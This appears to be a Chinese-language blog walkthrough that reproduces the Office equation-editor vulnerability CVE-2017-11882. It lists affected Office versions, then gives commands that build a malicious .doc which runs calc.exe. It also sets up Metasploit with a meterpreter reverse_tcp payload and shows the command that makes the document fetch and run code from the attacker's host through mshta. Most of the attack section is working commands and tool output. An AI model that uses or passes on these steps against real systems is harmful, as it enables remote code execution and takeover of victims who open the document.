office word CVE-2017-11882漏洞复现
漏洞背景
2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。
漏洞影响版本:
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
脚本利用下载链接
漏洞复现过程:
生成漏洞弹出计算器
生成漏洞doc文件,可以弹出计算器如下:(脚本在Github传送地址)
starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c “cmd.exe /c calc.exe” -o test.doc
[*] Done ! output file >> test.doc <<
用命令生成test.doc后,用Offcie 2013打开这个文件,可以看到在打开doc文件的时候,弹出计算器。
生成漏洞获取shell
这里我们参考链接2,使用metasploit,将脚本PS_shell.rb放到metasploit exploit的某个路径下:
我的kali下的metasploit所在路径是:/usr/share/metasploit-framework, 可以放在如下目录:(这里我们新创建一个new-exps目录存放这个脚本)
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# pwd
/usr/share/metasploit-framework/modules/exploits/windows/new-exps
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# ls
PS_shell.rb
这样在启动msf时就能直接使用了:
msf > use exploit/windows/new-exps/PS_shell
漏洞利用过程:
复制代码
msf > use exploit/windows/new-exps/PS_shell
msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(PS_shell) > set lhost 192.168.1.102
lhost => 192.168.1.102
msf exploit(PS_shell) > set uripath abc
uripath => abc
msf exploit(PS_shell) > exploit
[*] Exploit running as background job 0.
[] Started reverse TCP handler on 192.168.1.102:4444
msf exploit(PS_shell) > [] Using URL: http://0.0.0.0:8080/abc
[] Local IP: http://192.168.1.102:8080/abc
[] Server started.
[*] Place the following DDE in an MS document:
mshta.exe “http://192.168.1.102:8080/abc"
复制代码
从上面可以看出,我们要连接到这个地址:http://192.168.1.102:8080/abc
我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:
starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c “mshta http://192.168.1.102:8080/abc" -o test.doc
[*] Done ! output file >> test.doc <<
再用Office打开这个doc,就能拿到meterpreter了: